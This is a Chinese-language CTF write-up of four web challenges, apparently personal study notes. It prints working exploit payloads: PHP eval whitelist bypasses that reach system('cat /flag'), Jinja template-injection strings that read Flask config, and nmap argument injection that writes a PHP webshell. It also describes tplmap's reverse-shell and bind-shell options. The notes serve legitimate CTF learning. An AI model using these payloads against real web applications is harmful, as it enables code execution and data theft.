web
[ASIS 2019]Unicorn shop
- 分析
打开界面,买东西,输入输入价格char()一个字符 1行 10不行 三处注释 便宜的价格买不到,贵的显示前不够 目录扫描,robots.txt.python2.7 龙卷风框架
Traceback (most recent call last): File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1543, in _execute result = yield result File "/usr/local/lib/python2.7/site-packages/tornado/gen.py", line 1099, in run value = future.result() File "/usr/local/lib/python2.7/site-packages/tornado/concurrent.py", line 260, in result raise_exc_info(self._exc_info) File "/usr/local/lib/python2.7/site-packages/tornado/gen.py", line 315, in wrapper yielded = next(result) File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 2409, in get self.root, absolute_path) File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 2601, in validate_absolute_path raise HTTPError(404) HTTPError: HTTP 404: Not Found
- 漏洞挖掘
可能是模板注入,然后读取admin的password imporant 指的是什么
- 利用 首先学习个SSTI自动化工具
tplmap
github上搜索下载
安装依赖库 sudo pip2 install -r requirement.txt Usage: python tplmap.py [options] 选项: -h, --help 显示帮助并退出 目标: -u URL, --url=URL 目标 URL -X REQUEST, --re.. 强制使用给定的HTTP方法 (e.g. PUT) 请求: -d DATA, --data=.. 通过POST发送的数据字符串 必须用作查询字符串: param1=value1¶m2=value2 -H HEADERS, --he.. 附加标头 (e.g. 'Header1: Value1') 添加新加新标头 -c COOKIES, --co.. Cookies (e.g. 'Field1=Value1') 添加新的Cookie -A USER_AGENT, -.. HTTP User-Agent 标头的值 --proxy=PROXY 用代理连接到目标URL 检测: --level=LEVEL 要执行的代码上下文转义级别 (1-5, Default: 1) -e ENGINE, --eng.. 强制将后端模板引擎设置为此值 -t TECHNIQUE, --.. 技术 R:渲染 T:基于时间的盲注 Default: RT 操作系统访问: --os-cmd=OS_CMD 执行操作系统命令 --os-shell 提示交互式操作系统Shell --upload=UPLOAD 将本地文件上传至远程主机 --force-overwrite 上传时强制覆盖文件 --download=DOWNL.. 将远程文件下载到本地主机 --bind-shell=BIN.. 在目标的TCP在端口上生成系统Shell并连接到它 --reverse-shell=.. 运行系统Shell反向连接到当地主机端口 模板检查: --tpl-shell 在模板引擎上提示交互式Shell --tpl-code=TPL_C.. 在模板引擎中注入代码 常规: --force-level=FO.. 强制将测试级别设置为此值 --injection-tag=.. 使用字符串作为注入
标签 (default '*')
- 探测后发现不存在
- 找到一个char()但大于1337?
知识点:UTF-8编码转换问题导致欺骗 两个不同的代码Unicode字符可能有一定的等价性,是字符或字符序列之间较弱的等价类型。 不同的语言对应不同的编码,如列 中文字符在utf-8编码后三个16进制,但仍将被视为字符 简单地说,找到一个外国字符,一个字符,但数字大于1337 津巴布韦(bushi??
ASCII码在unicode中是U 00~U 07f
-
其他字符列如此N
-
输入一堆十六进制\xc9\xb4()会被识别为一个单词
-
因此,找到一个代表比1337大的数字编码的形式输入
\x
->%
就行 -
直接输入搜索框
number
找到 -
utf-8,\x变成%就行
-
参考文章:点击
-
与本题有关Unicode编码相关网站:点击
[CISCN 2019 初赛]Love Math
- 给出源码
<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){
show_source(__FILE__); }else{
//例子 c=20-1 $content = $_GET'c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
- 看到eval(echo)命令执行的漏洞,使用运算符获取命令??并且字符数小于80印象中只有16进制编码绕过一定的过滤。学习了
PHP函数调用:
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
在PHP中函数名默认为字符串
- 本题只能使用白名单的函数,看看别人的文章
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
函数做字符,通过异或获得shell
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
- base_convert()函数能够在任意进制之间转换数字
base_convert(number,frombase,tobase)
number-初始数字,form-to 从一个进制到另一个进制
dechex(number)
将10进制转化为16进制
- 如何构造自己的思路
**注意进制转换的函数以及常用的hex2bin只要获得16进制就可以获得字符。**
先直奔最后一步,我们是要执行命令的 system('ls')
其次,我们需要使用纯数字获得,利用PHP特性(system)('ls')
pi为数学函数圆周率,函数名可以使用字符串使用,;两个命令分隔
一种做法:$_GET传参方式 先获得 _GET
另一种:就直接写完整shell执行
($_GET[a])($_GET[b])&a=system&b=ls.
_GET=hex2bin(5f 47 45 54)=base_convert(37907361743,10,36)(dechex(1598506324))
新姿势:[]可以使用{}替换
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
$pi=_GET,($$pi){pi}=$_GET{pi}=$_GET[pi]我们就可以赋值
- 并且本题有长度限制,真不明白比赛时怎么做出来的。获得就php环境获得或者在线进制转化工具
- 进制的确定,可以确定两个进制并 且进制转化后有
hex2bin所有字符
,然后获取数字就行。注意长度限制
后来发现进制先数字后字母
36进制 0-9 a-z
那类比以下 12进制就 0-9,A,B (X,E也行)
有规律,又没完全有规律
[WesternCTF2018]shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
- 模板注入,存在过滤
- flag在环境变量中,
self config
被过滤一般使用的是{ {config}}
获得全局环境变量。看网友的payload大全,在最后一行看到了应该能用的 特殊文件读取{ {url_for.__globals__['current_app'].config.FLAG}}
- 当禁用
{ {config}}
,传{ {self.__dict__}}
,当两者都被禁用
利用python对象之间的引用关系来调用被禁用的函数对象
{
{url_for.__globals__}} #得到所有全局变量
{
{url_for.__globals__['current_app'].config}} #得到当前全局变量
或者 另一种 闪现
get_flashed_message()
返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,
然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)
{
{get_flashed_messages.__globals__}}获取全局信息
get_flashed_messages.__globals__['current_app'].config
[网鼎杯 2020 朱雀组]Nmap 1
- 输入ip,扫描结果
- 思路:命令执行漏洞或者nmap写文件
- 首先尝试简单的命令执行,加分号截断等,试几个,再试写文件
namp ip 扫描ip地址,但是也可进行文件读写
-o output 参数
-o 将扫描结果输出到文件中
-oG:grep保存
-oN:正常保存
-oX:xml格式保存
-oA:将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中
一般我们扫描后结果有
# Nmap 7.92 scan initiated Sat Jul 23 20:49:59 2022 as: nmap -sV -p- -o result 127.0.0.1
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000026s latency).
All 65535 scanned ports on localhost (127.0.0.1) are in ignored states.
Not shown: 65535 closed tcp ports (conn-refused)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 23 20:49:59 2022 -- 1 IP address (1 host up) scanned in 0.81 seconds
会记录我们的ip地址,如果我们加入一点shell在ip后,如何?
┌──(xxx㉿kali)-[~/tplmap]
└─$ nmap -sV -p- 127.0.0.1 '<?php echo 1 ?>' -o result.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-23 20:51 CST
Failed to resolve "<?php echo 1 ?>".
Failed to resolve "<?php echo 1 ?>".
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000023s latency).
All 65535 scanned ports on localhost (127.0.0.1) are in ignored states.
Not shown: 65535 closed tcp ports (conn-refused)
Failed to resolve "<?php echo 1 ?>".
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds
┌──(xxx㉿kali)-[~/tplmap]
└─$ cat result.txt
# Nmap 7.92 scan initiated Sat Jul 23 20:51:45 2022 as: nmap -sV -p- -o result.txt 127.0.0.1 "<?php echo 1 ?>"
Failed to resolve "<?php echo 1 ?>".
Failed to resolve "<?php echo 1 ?>".
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000023s latency).
All 65535 scanned ports on localhost (127.0.0.1) are in ignored states.
Not shown: 65535 closed tcp ports (conn-refused)
Failed to resolve "<?php echo 1 ?>".
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 23 20:51:46 2022 -- 1 IP address (1 host up) scanned in 0.68 seconds
会报错,但是会将shell写入。那么我们改改文件名和ip不久能写入shell了吗
- 不出意外,防火墙
- 过滤php关键字,后缀可以使用phtml,php5等尝试,使用短标签
'<= `cat /flag`' -oA shell.phtml
- 发现不行,读不到写入文件,后来看别人的写法,引号包括完整的语句,人家使用-oG,必须加IP使扫描成功
127.0.0.1 '<= `cat /flag` -oG shell.phtml'
或者通过扫描 文件读取内容在输出到txt文件中
' -iL /flag -oN vege.txt '
//phtml
# Nmap 6.47 scan initiated Sat Jul 23 13:14:14 2022 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/9e59c -oG shell.phtml 127.0.0.1 \ <= `cat /flag` \\
Host: 127.0.0.1 (localhost) Status: Up
Host: 127.0.0.1 (localhost) Ports: 80/open/tcp//http/// Ignored State: closed (99)
# Nmap done at Sat Jul 23 13:14:15 2022 -- 1 IP address (1 host up) scanned in 0.31 seconds
- 后来发现,我忘记问号和分号,并且发现万恶的转义符,使用完整标签
- 发现 -o也可以,-oA不行
127.0.0.1 ' <?= `cat /flag`;?> -oG shell.phtml '
收获
- 进制转化,以前只知道16进制现在知道2-36进制都行,获得字母一个方式
- 函数使用 可以赋值使用 $a()
- unicode编码问题(主要是数字编码问题)
- nmap写入文件报错也能写
- SSTI绕过姿势,
url_for.globals
使用。下划线的魔术方法